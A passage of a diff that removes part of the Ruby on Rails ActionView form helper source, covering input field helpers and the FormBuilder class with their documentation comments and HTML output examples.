-      # Returns a radio button tag for accessing a specified attribute (identified by +method+) on an object
-      # assigned to the template (identified by +object+). If the current value of +method+ is +tag_value+ the
-      # radio button will be checked.
-      #
-      # To force the radio button to be checked pass <tt>checked: true</tt> in the
-      # +options+ hash. You may pass HTML options there as well.
-      #
-      #   # Let's say that @post.category returns "rails":
-      #   radio_button("post", "category", "rails")
-      #   radio_button("post", "category", "java")
-      #   # => <input type="radio" id="post_category_rails" name="post[category]" value="rails" checked="checked" />
-      #   #    <input type="radio" id="post_category_java" name="post[category]" value="java" />
-      #
-      #   radio_button("user", "receive_newsletter", "yes")
-      #   radio_button("user", "receive_newsletter", "no")
-      #   # => <input type="radio" id="user_receive_newsletter_yes" name="user[receive_newsletter]" value="yes" />
-      #   #    <input type="radio" id="user_receive_newsletter_no" name="user[receive_newsletter]" value="no" checked="checked" />
-      def radio_button(object_name, method, tag_value, options = {})
-        Tags::RadioButton.new(object_name, method, self, tag_value, options).render
-      end
-
-      # Returns a text_field of type "color".
-      #
-      #   color_field("car", "color")
-      #   # => <input id="car_color" name="car[color]" type="color" value="#000000" />
-      def color_field(object_name, method, options = {})
-        Tags::ColorField.new(object_name, method, self, options).render
-      end
-
-      # Returns an input of type "search" for accessing a specified attribute (identified by +method+) on an object
-      # assigned to the template (identified by +object_name+). Inputs of type "search" may be styled differently by
-      # some browsers.
-      #
-      #   search_field(:user, :name)
-      #   # => <input id="user_name" name="user[name]" type="search" />
-      #   search_field(:user, :name, autosave: false)
-      #   # => <input autosave="false" id="user_name" name="user[name]" type="search" />
-      #   search_field(:user, :name, results: 3)
-      #   # => <input id="user_name" name="user[name]" results="3" type="search" />
-      #   #  Assume request.host returns "www.example.com"
-      #   search_field(:user, :name, autosave: true)
-      #   # => <input autosave="com.example.www" id="user_name" name="user[name]" results="10" type="search" />
-      #   search_field(:user, :name, onsearch: true)
-      #   # => <input id="user_name" incremental="true" name="user[name]" onsearch="true" type="search" />
-      #   search_field(:user, :name, autosave: false, onsearch: true)
-      #   # => <input autosave="false" id="user_name" incremental="true" name="user[name]" onsearch="true" type="search" />
-      #   search_field(:user, :name, autosave: true, onsearch: true)
-      #   # => <input autosave="com.example.www" id="user_name" incremental="true" name="user[name]" onsearch="true" results="10" type="search" />
-      def search_field(object_name, method, options = {})
-        Tags::SearchField.new(object_name, method, self, options).render
-      end
-
-      # Returns a text_field of type "tel".
-      #
-      #   telephone_field("user", "phone")
-      #   # => <input id="user_phone" name="user[phone]" type="tel" />
-      #
-      def telephone_field(object_name, method, options = {})
-        Tags::TelField.new(object_name, method, self, options).render
-      end
-      # aliases telephone_field
-      alias phone_field telephone_field
-
-      # Returns a text_field of type "date".
-      #
-      #   date_field("user", "born_on")
-      #   # => <input id="user_born_on" name="user[born_on]" type="date" />
-      #
-      # The default value is generated by trying to call "to_date"
-      # on the object's value, which makes it behave as expected for instances
-      # of DateTime and ActiveSupport::TimeWithZone. You can still override that
-      # by passing the "value" option explicitly, e.g.
-      #
-      #   @user.born_on = Date.new(1984, 1, 27)
-      #   date_field("user", "born_on", value: "1984-05-12")
-      #   # => <input id="user_born_on" name="user[born_on]" type="date" value="1984-05-12" />
-      #
-      def date_field(object_name, method, options = {})
-        Tags::DateField.new(object_name, method, self, options).render
-      end
-
-      # Returns a text_field of type "time".
-      #
-      # The default value is generated by trying to call +strftime+ with "%T.%L"
-      # on the objects's value. It is still possible to override that
-      # by passing the "value" option.
-      #
-      # === Options
-      # * Accepts same options as time_field_tag
-      #
-      # === Example
-      #   time_field("task", "started_at")
-      #   # => <input id="task_started_at" name="task[started_at]" type="time" />
-      #
-      def time_field(object_name, method, options = {})
-        Tags::TimeField.new(object_name, method, self, options).render
-      end
-
-      # Returns a text_field of type "datetime".
-      #
-      #   datetime_field("user", "born_on")
-      #   # => <input id="user_born_on" name="user[born_on]" type="datetime" />
-      #
-      # The default value is generated by trying to call +strftime+ with "%Y-%m-%dT%T.%L%z"
-      # on the object's value, which makes it behave as expected for instances
-      # of DateTime and ActiveSupport::TimeWithZone.
-      #
-      #   @user.born_on = Date.new(1984, 1, 12)
-      #   datetime_field("user", "born_on")
-      #   # => <input id="user_born_on" name="user[born_on]" type="datetime" value="1984-01-12T00:00:00.000+0000" />
-      #
-      def datetime_field(object_name, method, options = {})
-        Tags::DatetimeField.new(object_name, method, self, options).render
-      end
-
-      # Returns a text_field of type "datetime-local".
-      #
-      #   datetime_local_field("user", "born_on")
-      #   # => <input id="user_born_on" name="user[born_on]" type="datetime-local" />
-      #
-      # The default value is generated by trying to call +strftime+ with "%Y-%m-%dT%T"
-      # on the object's value, which makes it behave as expected for instances
-      # of DateTime and ActiveSupport::TimeWithZone.
-      #
-      #   @user.born_on = Date.new(1984, 1, 12)
-      #   datetime_local_field("user", "born_on")
-      #   # => <input id="user_born_on" name="user[born_on]" type="datetime-local" value="1984-01-12T00:00:00" />
-      #
-      def datetime_local_field(object_name, method, options = {})
-        Tags::DatetimeLocalField.new(object_name, method, self, options).render
-      end
-
-      # Returns a text_field of type "month".
-      #
-      #   month_field("user", "born_on")
-      #   # => <input id="user_born_on" name="user[born_on]" type="month" />
-      #
-      # The default value is generated by trying to call +strftime+ with "%Y-%m"
-      # on the object's value, which makes it behave as expected for instances
-      # of DateTime and ActiveSupport::TimeWithZone.
-      #
-      #   @user.born_on = Date.new(1984, 1, 27)
-      #   month_field("user", "born_on")
-      #   # => <input id="user_born_on" name="user[born_on]" type="date" value="1984-01" />
-      #
-      def month_field(object_name, method, options = {})
-        Tags::MonthField.new(object_name, method, self, options).render
-      end
-
-      # Returns a text_field of type "week".
-      #
-      #   week_field("user", "born_on")
-      #   # => <input id="user_born_on" name="user[born_on]" type="week" />
-      #
-      # The default value is generated by trying to call +strftime+ with "%Y-W%W"
-      # on the object's value, which makes it behave as expected for instances
-      # of DateTime and ActiveSupport::TimeWithZone.
-      #
-      #   @user.born_on = Date.new(1984, 5, 12)
-      #   week_field("user", "born_on")
-      #   # => <input id="user_born_on" name="user[born_on]" type="date" value="1984-W19" />
-      #
-      def week_field(object_name, method, options = {})
-        Tags::WeekField.new(object_name, method, self, options).render
-      end
-
-      # Returns a text_field of type "url".
-      #
-      #   url_field("user", "homepage")
-      #   # => <input id="user_homepage" name="user[homepage]" type="url" />
-      #
-      def url_field(object_name, method, options = {})
-        Tags::UrlField.new(object_name, method, self, options).render
-      end
-
-      # Returns a text_field of type "email".
-      #
-      #   email_field("user", "address")
-      #   # => <input id="user_address" name="user[address]" type="email" />
-      #
-      def email_field(object_name, method, options = {})
-        Tags::EmailField.new(object_name, method, self, options).render
-      end
-
-      # Returns an input tag of type "number".
-      #
-      # ==== Options
-      # * Accepts same options as number_field_tag
-      def number_field(object_name, method, options = {})
-        Tags::NumberField.new(object_name, method, self, options).render
-      end
-
-      # Returns an input tag of type "range".
-      #
-      # ==== Options
-      # * Accepts same options as range_field_tag
-      def range_field(object_name, method, options = {})
-        Tags::RangeField.new(object_name, method, self, options).render
-      end
-
-      private
-
-        def instantiate_builder(record_name, record_object, options)
-          case record_name
-          when String, Symbol
-            object = record_object
-            object_name = record_name
-          else
-            object = record_name
-            object_name = model_name_from_record_or_class(object).param_key
-          end
-
-          builder = options[:builder] || default_form_builder
-          builder.new(object_name, object, self, options)
-        end
-
-        def default_form_builder
-          builder = ActionView::Base.default_form_builder
-          builder.respond_to?(:constantize) ? builder.constantize : builder
-        end
-    end
-
-    # A +FormBuilder+ object is associated with a particular model object and
-    # allows you to generate fields associated with the model object. The
-    # +FormBuilder+ object is yielded when using +form_for+ or +fields_for+.
-    # For example:
-    #
-    #   <%= form_for @person do |person_form| %>
-    #     Name: <%= person_form.text_field :name %>
-    #     Admin: <%= person_form.check_box :admin %>
-    #   <% end %>
-    #
-    # In the above block, the a +FormBuilder+ object is yielded as the
-    # +person_form+ variable. This allows you to generate the +text_field+
-    # and +check_box+ fields by specifying their eponymous methods, which
-    # modify the underlying template and associates the + at person+ model object
-    # with the form.
-    #
-    # The +FormBuilder+ object can be thought of as serving as a proxy for the
-    # methods in the +FormHelper+ module. This class, however, allows you to
-    # call methods with the model object you are building the form for.
-    #
-    # You can create your own custom FormBuilder templates by subclassing this
-    # class. For example:
-    #
-    #   class MyFormBuilder < ActionView::Helpers::FormBuilder
-    #     def div_radio_button(method, tag_value, options = {})
-    #       @template.content_tag(:div,
-    #         @template.radio_button(
-    #           @object_name, method, tag_value, objectify_options(options)
-    #         )
-    #       )
-    #     end
-    #
-    # The above code creates a new method +div_radio_button+ which wraps a div
-    # around the a new radio button. Note that when options are passed in, you
-    # must called +objectify_options+ in order for the model object to get
-    # correctly passed to the method. If +objectify_options+ is not called,
-    # then the newly created helper will not be linked back to the model.
-    #
-    # The +div_radio_button+ code from above can now be used as follows:
-    #
-    #   <%= form_for @person, :builder => MyFormBuilder do |f| %>
-    #     I am a child: <%= f.div_radio_button(:admin, "child") %>
-    #     I am an adult: <%= f.div_radio_button(:admin, "adult") %>
-    #   <% end -%>
-    #
-    # The standard set of helper methods for form building are located in the
-    # +field_helpers+ class attribute.
-    class FormBuilder
-      include ModelNaming
-
-      # The methods which wrap a form helper call.
-      class_attribute :field_helpers
-      self.field_helpers = [:fields_for, :label, :text_field, :password_field,
-                            :hidden_field, :file_field, :text_area, :check_box,
-                            :radio_button, :color_field, :search_field,
-                            :telephone_field, :phone_field, :date_field,
-                            :time_field, :datetime_field, :datetime_local_field,
-                            :month_field, :week_field, :url_field, :email_field,
-                            :number_field, :range_field]
-
-      attr_accessor :object_name, :object, :options
-
-      attr_reader :multipart, :index
-      alias :multipart? :multipart
-
-      def multipart=(multipart)
-        @multipart = multipart
-
-        if parent_builder = @options[:parent_builder]
-          parent_builder.multipart = multipart
-        end
-      end
-
-      def self._to_partial_path
-        @_to_partial_path ||= name.demodulize.underscore.sub!(/_builder$/, '')
-      end
-
-      def to_partial_path
-        self.class._to_partial_path
-      end
-
-      def to_model
-        self
-      end
-
-      def initialize(object_name, object, template, options, block=nil)
-        if block
-          ActiveSupport::Deprecation.warn "Giving a block to FormBuilder is deprecated and has no effect anymore."
-        end
-
-        @nested_child_index = {}
-        @object_name, @object, @template, @options = object_name, object, template, options
-        @default_options = @options ? @options.slice(:index, :namespace) : {}
-        if @object_name.to_s.match(/\[\]$/)
-          if object ||= @template.instance_variable_get("@#{Regexp.last_match.pre_match}") and object.respond_to?(:to_param)
-            @auto_index = object.to_param
-          else
-            raise ArgumentError, "object[] naming but object param and @object var don't exist or don't respond to to_param: #{object.inspect}"
-          end
-        end
-        @multipart = nil
-        @index = options[:index] || options[:child_index]
-      end
-
-      (field_helpers - [:label, :check_box, :radio_button, :fields_for, :hidden_field, :file_field]).each do |selector|
-        class_eval <<-RUBY_EVAL, __FILE__, __LINE__ + 1
-          def #{selector}(method, options = {})  # def text_field(method, options = {})
-            @template.send(                      #   @template.send(
-              #{selector.inspect},               #     "text_field",
-              @object_name,                      #     @object_name,
-              method,                            #     method,
-              objectify_options(options))        #     objectify_options(options))
-          end                                    # end
-        RUBY_EVAL
-      end
-
-      # Creates a scope around a specific model object like form_for, but
-      # doesn't create the form tags themselves. This makes fields_for suitable
-      # for specifying additional model objects in the same form.
-      #
-      # Although the usage and purpose of +field_for+ is similar to +form_for+'s,
-      # its method signature is slightly different. Like +form_for+, it yields
-      # a FormBuilder object associated with a particular model object to a block,
-      # and within the block allows methods to be called on the builder to
-      # generate fields associated with the model object. Fields may reflect
-      # a model object in two ways - how they are named (hence how submitted
-      # values appear within the +params+ hash in the controller) and what
-      # default values are shown when the form the fields appear in is first
-      # displayed. In order for both of these features to be specified independently,
-      # both an object name (represented by either a symbol or string) and the
-      # object itself can be passed to the method separately -
-      #
-      #   <%= form_for @person do |person_form| %>
-      #     First name: <%= person_form.text_field :first_name %>
-      #     Last name : <%= person_form.text_field :last_name %>
-      #
-      #     <%= fields_for :permission, @person.permission do |permission_fields| %>
-      #       Admin?  : <%= permission_fields.check_box :admin %>
-      #     <% end %>
-      #
-      #     <%= person_form.submit %>
-      #   <% end %>
-      #
-      # In this case, the checkbox field will be represented by an HTML +input+
-      # tag with the +name+ attribute <tt>permission[admin]</tt>, and the submitted
-      # value will appear in the controller as <tt>params[:permission][:admin]</tt>.
-      # If <tt>@person.permission</tt> is an existing record with an attribute
-      # +admin+, the initial state of the checkbox when first displayed will
-      # reflect the value of <tt>@person.permission.admin</tt>.
-      #
-      # Often this can be simplified by passing just the name of the model
-      # object to +fields_for+ -
-      #
-      #   <%= fields_for :permission do |permission_fields| %>
-      #     Admin?: <%= permission_fields.check_box :admin %>
-      #   <% end %>
-      #
-      # ...in which case, if <tt>:permission</tt> also happens to be the name of an
-      # instance variable <tt>@permission</tt>, the initial state of the input
-      # field will reflect the value of that variable's attribute <tt>@permission.admin</tt>.
-      #
-      # Alternatively, you can pass just the model object itself (if the first
-      # argument isn't a string or symbol +fields_for+ will realize that the
-      # name has been omitted) -
-      #
-      #   <%= fields_for @person.permission do |permission_fields| %>
-      #     Admin?: <%= permission_fields.check_box :admin %>
-      #   <% end %>
-      #
-      # and +fields_for+ will derive the required name of the field from the
-      # _class_ of the model object, e.g. if <tt>@person.permission</tt>, is
-      # of class +Permission+, the field will still be named <tt>permission[admin]</tt>.
-      #
-      # Note: This also works for the methods in FormOptionHelper and
-      # DateHelper that are designed to work with an object as base, like
-      # FormOptionHelper#collection_select and DateHelper#datetime_select.
-      #
-      # === Nested Attributes Examples
-      #
-      # When the object belonging to the current scope has a nested attribute
-      # writer for a certain attribute, fields_for will yield a new scope
-      # for that attribute. This allows you to create forms that set or change
-      # the attributes of a parent object and its associations in one go.
-      #
-      # Nested attribute writers are normal setter methods named after an
-      # association. The most common way of defining these writers is either
-      # with +accepts_nested_attributes_for+ in a model definition or by
-      # defining a method with the proper name. For example: the attribute
-      # writer for the association <tt>:address</tt> is called
-      # <tt>address_attributes=</tt>.
-      #
-      # Whether a one-to-one or one-to-many style form builder will be yielded
-      # depends on whether the normal reader method returns a _single_ object
-      # or an _array_ of objects.
-      #
-      # ==== One-to-one
-      #
-      # Consider a Person class which returns a _single_ Address from the
-      # <tt>address</tt> reader method and responds to the
-      # <tt>address_attributes=</tt> writer method:
-      #
-      #   class Person
-      #     def address
-      #       @address
-      #     end
-      #
-      #     def address_attributes=(attributes)
-      #       # Process the attributes hash
-      #     end
-      #   end
-      #
-      # This model can now be used with a nested fields_for, like so:
-      #
-      #   <%= form_for @person do |person_form| %>
-      #     ...
-      #     <%= person_form.fields_for :address do |address_fields| %>
-      #       Street  : <%= address_fields.text_field :street %>
-      #       Zip code: <%= address_fields.text_field :zip_code %>
-      #     <% end %>
-      #     ...
-      #   <% end %>
-      #
-      # When address is already an association on a Person you can use
-      # +accepts_nested_attributes_for+ to define the writer method for you:
-      #
-      #   class Person < ActiveRecord::Base
-      #     has_one :address
-      #     accepts_nested_attributes_for :address
-      #   end
-      #
-      # If you want to destroy the associated model through the form, you have
-      # to enable it first using the <tt>:allow_destroy</tt> option for
-      # +accepts_nested_attributes_for+:
-      #
-      #   class Person < ActiveRecord::Base
-      #     has_one :address
-      #     accepts_nested_attributes_for :address, allow_destroy: true
-      #   end
-      #
-      # Now, when you use a form element with the <tt>_destroy</tt> parameter,
-      # with a value that evaluates to +true+, you will destroy the associated
-      # model (eg. 1, '1', true, or 'true'):
-      #
-      #   <%= form_for @person do |person_form| %>
-      #     ...
-      #     <%= person_form.fields_for :address do |address_fields| %>
-      #       ...
-      #       Delete: <%= address_fields.check_box :_destroy %>
-      #     <% end %>
-      #     ...
-      #   <% end %>
-      #
-      # ==== One-to-many
-      #
-      # Consider a Person class which returns an _array_ of Project instances
-      # from the <tt>projects</tt> reader method and responds to the
-      # <tt>projects_attributes=</tt> writer method:
-      #
-      #   class Person
-      #     def projects
-      #       [@project1, @project2]
-      #     end
-      #
-      #     def projects_attributes=(attributes)
-      #       # Process the attributes hash
-      #     end
-      #   end
-      #
-      # Note that the <tt>projects_attributes=</tt> writer method is in fact
-      # required for fields_for to correctly identify <tt>:projects</tt> as a
-      # collection, and the correct indices to be set in the form markup.
-      #
-      # When projects is already an association on Person you can use
-      # +accepts_nested_attributes_for+ to define the writer method for you:
-      #
-      #   class Person < ActiveRecord::Base
-      #     has_many :projects
-      #     accepts_nested_attributes_for :projects
-      #   end
-      #
-      # This model can now be used with a nested fields_for. The block given to
-      # the nested fields_for call will be repeated for each instance in the
-      # collection:
-      #
-      #   <%= form_for @person do |person_form| %>
-      #     ...
-      #     <%= person_form.fields_for :projects do |project_fields| %>
-      #       <% if project_fields.object.active? %>
-      #         Name: <%= project_fields.text_field :name %>
-      #       <% end %>
-      #     <% end %>
-      #     ...
-      #   <% end %>
-      #
-      # It's also possible to specify the instance to be used:
-      #
-      #   <%= form_for @person do |person_form| %>
-      #     ...
-      #     <% @person.projects.each do |project| %>
-      #       <% if project.active? %>
-      #         <%= person_form.fields_for :projects, project do |project_fields| %>
-      #           Name: <%= project_fields.text_field :name %>
-      #         <% end %>
-      #       <% end %>
-      #     <% end %>
-      #     ...
-      #   <% end %>
-      #
-      # Or a collection to be used:
-      #
-      #   <%= form_for @person do |person_form| %>
-      #     ...
-      #     <%= person_form.fields_for :projects, @active_projects do |project_fields| %>
-      #       Name: <%= project_fields.text_field :name %>
-      #     <% end %>
-      #     ...
-      #   <% end %>
-      #
-      # If you want to destroy any of the associated models through the
-      # form, you have to enable it first using the <tt>:allow_destroy</tt>
-      # option for +accepts_nested_attributes_for+:
-      #
-      #   class Person < ActiveRecord::Base
-      #     has_many :projects
-      #     accepts_nested_attributes_for :projects, allow_destroy: true
-      #   end
-      #
-      # This will allow you to specify which models to destroy in the
-      # attributes hash by adding a form element for the <tt>_destroy</tt>
-      # parameter with a value that evaluates to +true+
-      # (eg. 1, '1', true, or 'true'):
-      #
-      #   <%= form_for @person do |person_form| %>
-      #     ...
-      #     <%= person_form.fields_for :projects do |project_fields| %>
-      #       Delete: <%= project_fields.check_box :_destroy %>
-      #     <% end %>
-      #     ...
-      #   <% end %>
-      #
-      # When a collection is used you might want to know the index of each
-      # object into the array. For this purpose, the <tt>index</tt> method
-      # is available in the FormBuilder object.
-      #
-      #   <%= form_for @person do |person_form| %>
-      #     ...
-      #     <%= person_form.fields_for :projects do |project_fields| %>
-      #       Project #<%= project_fields.index %>
-      #       ...
-      #     <% end %>
-      #     ...
-      #   <% end %>
-      #
-      # Note that fields_for will automatically generate a hidden field
-      # to store the ID of the record. There are circumstances where this
-      # hidden field is not needed and you can pass <tt>hidden_field_id: false</tt>
-      # to prevent fields_for from rendering it automatically.
-      def fields_for(record_name, record_object = nil, fields_options = {}, &block)
-        fields_options, record_object = record_object, nil if record_object.is_a?(Hash) && record_object.extractable_options?
-        fields_options[:builder] ||= options[:builder]
-        fields_options[:namespace] = options[:namespace]
-        fields_options[:parent_builder] = self
-
-        case record_name
-        when String, Symbol
-          if nested_attributes_association?(record_name)
-            return fields_for_with_nested_attributes(record_name, record_object, fields_options, block)
-          end
-        else
-          record_object = record_name.is_a?(Array) ? record_name.last : record_name
-          record_name   = model_name_from_record_or_class(record_object).param_key
-        end
-
-        index = if options.has_key?(:index)
-          options[:index]
-        elsif defined?(@auto_index)
-          self.object_name = @object_name.to_s.sub(/\[\]$/,"")
-          @auto_index
-        end
-
-        record_name = index ? "#{object_name}[#{index}][#{record_name}]" : "#{object_name}[#{record_name}]"
-        fields_options[:child_index] = index
-
-        @template.fields_for(record_name, record_object, fields_options, &block)
-      end
-
-      # Returns a label tag tailored for labelling an input field for a specified attribute (identified by +method+) on an object
-      # assigned to the template (identified by +object+). The text of label will default to the attribute name unless a translation
-      # is found in the current I18n locale (through helpers.label.<modelname>.<attribute>) or you specify it explicitly.
-      # Additional options on the label tag can be passed as a hash with +options+. These options will be tagged
-      # onto the HTML as an HTML element attribute as in the example shown, except for the <tt>:value</tt> option, which is designed to
-      # target labels for radio_button tags (where the value is used in the ID of the input tag).
-      #
-      # ==== Examples
-      #   label(:post, :title)
-      #   # => <label for="post_title">Title</label>
-      #
-      # You can localize your labels based on model and attribute names.
-      # For example you can define the following in your locale (e.g. en.yml)
-      #
-      #   helpers:
-      #     label:
-      #       post:
-      #         body: "Write your entire text here"
-      #
-      # Which then will result in
-      #
-      #   label(:post, :body)
-      #   # => <label for="post_body">Write your entire text here</label>
-      #
-      # Localization can also be based purely on the translation of the attribute-name
-      # (if you are using ActiveRecord):
-      #
-      #   activerecord:
-      #     attributes:
-      #       post:
-      #         cost: "Total cost"
-      #
-      #   label(:post, :cost)
-      #   # => <label for="post_cost">Total cost</label>
-      #
-      #   label(:post, :title, "A short title")
-      #   # => <label for="post_title">A short title</label>
-      #
-      #   label(:post, :title, "A short title", class: "title_label")
-      #   # => <label for="post_title" class="title_label">A short title</label>
-      #
-      #   label(:post, :privacy, "Public Post", value: "public")
-      #   # => <label for="post_privacy_public">Public Post</label>
-      #
-      #   label(:post, :terms) do
-      #     'Accept <a href="/terms">Terms</a>.'.html_safe
-      #   end
-      def label(method, text = nil, options = {}, &block)
-        @template.label(@object_name, method, text, objectify_options(options), &block)
-      end
-
-      # Returns a checkbox tag tailored for accessing a specified attribute (identified by +method+) on an object
-      # assigned to the template (identified by +object+). This object must be an instance object (@object) and not a local object.
-      # It's intended that +method+ returns an integer and if that integer is above zero, then the checkbox is checked.
-      # Additional options on the input tag can be passed as a hash with +options+. The +checked_value+ defaults to 1
-      # while the default +unchecked_value+ is set to 0 which is convenient for boolean values.
-      #
-      # ==== Gotcha
-      #
-      # The HTML specification says unchecked check boxes are not successful, and
-      # thus web browsers do not send them. Unfortunately this introduces a gotcha:
-      # if an +Invoice+ model has a +paid+ flag, and in the form that edits a paid
-      # invoice the user unchecks its check box, no +paid+ parameter is sent. So,
-      # any mass-assignment idiom like
-      #
-      #   @invoice.update(params[:invoice])
-      #
-      # wouldn't update the flag.
-      #
-      # To prevent this the helper generates an auxiliary hidden field before
-      # the very check box. The hidden field has the same name and its
-      # attributes mimic an unchecked check box.
-      #
-      # This way, the client either sends only the hidden field (representing
-      # the check box is unchecked), or both fields. Since the HTML specification
-      # says key/value pairs have to be sent in the same order they appear in the
-      # form, and parameters extraction gets the last occurrence of any repeated
-      # key in the query string, that works for ordinary forms.
-      #
-      # Unfortunately that workaround does not work when the check box goes
-      # within an array-like parameter, as in
-      #
-      #   <%= fields_for "project[invoice_attributes][]", invoice, index: nil do |form| %>
-      #     <%= form.check_box :paid %>
-      #     ...
-      #   <% end %>
-      #
-      # because parameter name repetition is precisely what Rails seeks to distinguish
-      # the elements of the array. For each item with a checked check box you
-      # get an extra ghost item with only that attribute, assigned to "0".
-      #
-      # In that case it is preferable to either use +check_box_tag+ or to use
-      # hashes instead of arrays.
-      #
-      #   # Let's say that @post.validated? is 1:
-      #   check_box("post", "validated")
-      #   # => <input name="post[validated]" type="hidden" value="0" />
-      #   #    <input checked="checked" type="checkbox" id="post_validated" name="post[validated]" value="1" />
-      #
-      #   # Let's say that @puppy.gooddog is "no":
-      #   check_box("puppy", "gooddog", {}, "yes", "no")
-      #   # => <input name="puppy[gooddog]" type="hidden" value="no" />
-      #   #    <input type="checkbox" id="puppy_gooddog" name="puppy[gooddog]" value="yes" />
-      #
-      #   check_box("eula", "accepted", { class: 'eula_check' }, "yes", "no")
-      #   # => <input name="eula[accepted]" type="hidden" value="no" />
-      #   #    <input type="checkbox" class="eula_check" id="eula_accepted" name="eula[accepted]" value="yes" />
-      def check_box(method, options = {}, checked_value = "1", unchecked_value = "0")
-        @template.check_box(@object_name, method, objectify_options(options), checked_value, unchecked_value)
-      end
-
-      # Returns a radio button tag for accessing a specified attribute (identified by +method+) on an object
-      # assigned to the template (identified by +object+). If the current value of +method+ is +tag_value+ the
-      # radio button will be checked.
-      #
-      # To force the radio button to be checked pass <tt>checked: true</tt> in the
-      # +options+ hash. You may pass HTML options there as well.
-      #
-      #   # Let's say that @post.category returns "rails":
-      #   radio_button("post", "category", "rails")
-      #   radio_button("post", "category", "java")
-      #   # => <input type="radio" id="post_category_rails" name="post[category]" value="rails" checked="checked" />
-      #   #    <input type="radio" id="post_category_java" name="post[category]" value="java" />
-      #
-      #   radio_button("user", "receive_newsletter", "yes")
-      #   radio_button("user", "receive_newsletter", "no")
-      #   # => <input type="radio" id="user_receive_newsletter_yes" name="user[receive_newsletter]" value="yes" />
-      #   #    <input type="radio" id="user_receive_newsletter_no" name="user[receive_newsletter]" value="no" checked="checked" />
-      def radio_button(method, tag_value, options = {})
-        @template.radio_button(@object_name, method, tag_value, objectify_options(options))
-      end
-
-      # Returns a hidden input tag tailored for accessing a specified attribute (identified by +method+) on an object
-      # assigned to the template (identified by +object+). Additional options on the input tag can be passed as a
-      # hash with +options+. These options will be tagged onto the HTML as an HTML element attribute as in the example
-      # shown.
-      #
-      # ==== Examples
-      #   hidden_field(:signup, :pass_confirm)
-      #   # => <input type="hidden" id="signup_pass_confirm" name="signup[pass_confirm]" value="#{@signup.pass_confirm}" />
-      #
-      #   hidden_field(:post, :tag_list)
-      #   # => <input type="hidden" id="post_tag_list" name="post[tag_list]" value="#{@post.tag_list}" />
-      #
-      #   hidden_field(:user, :token)
-      #   # => <input type="hidden" id="user_token" name="user[token]" value="#{@user.token}" />
-      #
-      def hidden_field(method, options = {})
-        @emitted_hidden_id = true if method == :id
-        @template.hidden_field(@object_name, method, objectify_options(options))
-      end
-
-      # Returns a file upload input tag tailored for accessing a specified attribute (identified by +method+) on an object
-      # assigned to the template (identified by +object+). Additional options on the input tag can be passed as a
-      # hash with +options+. These options will be tagged onto the HTML as an HTML element attribute as in the example
-      # shown.
-      #
-      # Using this method inside a +form_for+ block will set the enclosing form's encoding to <tt>multipart/form-data</tt>.
-      #
-      # ==== Options
-      # * Creates standard HTML attributes for the tag.
-      # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
-      # * <tt>:multiple</tt> - If set to true, *in most updated browsers* the user will be allowed to select multiple files.
-      # * <tt>:accept</tt> - If set to one or multiple mime-types, the user will be suggested a filter when choosing a file. You still need to set up model validations.
-      #
-      # ==== Examples
-      #   file_field(:user, :avatar)
-      #   # => <input type="file" id="user_avatar" name="user[avatar]" />
-      #
-      #   file_field(:post, :image, :multiple => true)
-      #   # => <input type="file" id="post_image" name="post[image]" multiple="true" />
-      #
-      #   file_field(:post, :attached, accept: 'text/html')
-      #   # => <input accept="text/html" type="file" id="post_attached" name="post[attached]" />
-      #
-      #   file_field(:post, :image, accept: 'image/png,image/gif,image/jpeg')
-      #   # => <input type="file" id="post_image" name="post[image]" accept="image/png,image/gif,image/jpeg" />
-      #
-      #   file_field(:attachment, :file, class: 'file_input')
-      #   # => <input type="file" id="attachment_file" name="attachment[file]" class="file_input" />
-      def file_field(method, options = {})
-        self.multipart = true
-        @template.file_field(@object_name, method, objectify_options(options))
-      end
-
-      # Add the submit button for the given form. When no value is given, it checks
-      # if the object is a new resource or not to create the proper label:
-      #
-      #   <%= form_for @post do |f| %>
-      #     <%= f.submit %>
-      #   <% end %>
-      #
-      # In the example above, if @post is a new record, it will use "Create Post" as
-      # submit button label, otherwise, it uses "Update Post".
-      #
-      # Those labels can be customized using I18n, under the helpers.submit key and accept
-      # the %{model} as translation interpolation:
-      #
-      #   en:
-      #     helpers:
-      #       submit:
-      #         create: "Create a %{model}"
-      #         update: "Confirm changes to %{model}"
-      #
-      # It also searches for a key specific for the given object:
-      #
-      #   en:
-      #     helpers:
-      #       submit:
-      #         post:
-      #           create: "Add %{model}"
-      #
-      def submit(value=nil, options={})
-        value, options = nil, value if value.is_a?(Hash)
-        value ||= submit_default_value
-        @template.submit_tag(value, options)
-      end
-
-      # Add the submit button for the given form. When no value is given, it checks
-      # if the object is a new resource or not to create the proper label:
-      #
-      #   <%= form_for @post do |f| %>
-      #     <%= f.button %>
-      #   <% end %>
-      #
-      # In the example above, if @post is a new record, it will use "Create Post" as
-      # button label, otherwise, it uses "Update Post".
-      #
-      # Those labels can be customized using I18n, under the helpers.submit key
-      # (the same as submit helper) and accept the %{model} as translation interpolation:
-      #
-      #   en:
-      #     helpers:
-      #       submit:
-      #         create: "Create a %{model}"
-      #         update: "Confirm changes to %{model}"
-      #
-      # It also searches for a key specific for the given object:
-      #
-      #   en:
-      #     helpers:
-      #       submit:
-      #         post:
-      #           create: "Add %{model}"
-      #
-      # ==== Examples
-      #   button("Create a post")
-      #   # => <button name='button' type='submit'>Create post</button>
-      #
-      #   button do
-      #     content_tag(:strong, 'Ask me!')
-      #   end
-      #   # => <button name='button' type='submit'>
-      #   #      <strong>Ask me!</strong>
-      #   #    </button>
-      #
-      def button(value = nil, options = {}, &block)
-        value, options = nil, value if value.is_a?(Hash)
-        value ||= submit_default_value
-        @template.button_tag(value, options, &block)
-      end
-
-      def emitted_hidden_id?
-        @emitted_hidden_id ||= nil
-      end
-
-      private
-        def objectify_options(options)
-          @default_options.merge(options.merge(object: @object))
-        end
-
-        def submit_default_value
-          object = convert_to_model(@object)
-          key    = object ? (object.persisted? ? :update : :create) : :submit
-
-          model = if object.class.respond_to?(:model_name)
-            object.class.model_name.human
-          else
-            @object_name.to_s.humanize
-          end
-
-          defaults = []
-          defaults << :"helpers.submit.#{object_name}.#{key}"
-          defaults << :"helpers.submit.#{key}"
-          defaults << "#{key.to_s.humanize} #{model}"
-
-          I18n.t(defaults.shift, model: model, default: defaults)
-        end
-
-        def nested_attributes_association?(association_name)
-          @object.respond_to?("#{association_name}_attributes=")
-        end
-
-        def fields_for_with_nested_attributes(association_name, association, options, block)
-          name = "#{object_name}[#{association_name}_attributes]"
-          association = convert_to_model(association)
-
-          if association.respond_to?(:persisted?)
-            association = [association] if @object.send(association_name).respond_to?(:to_ary)
-          elsif !association.respond_to?(:to_ary)
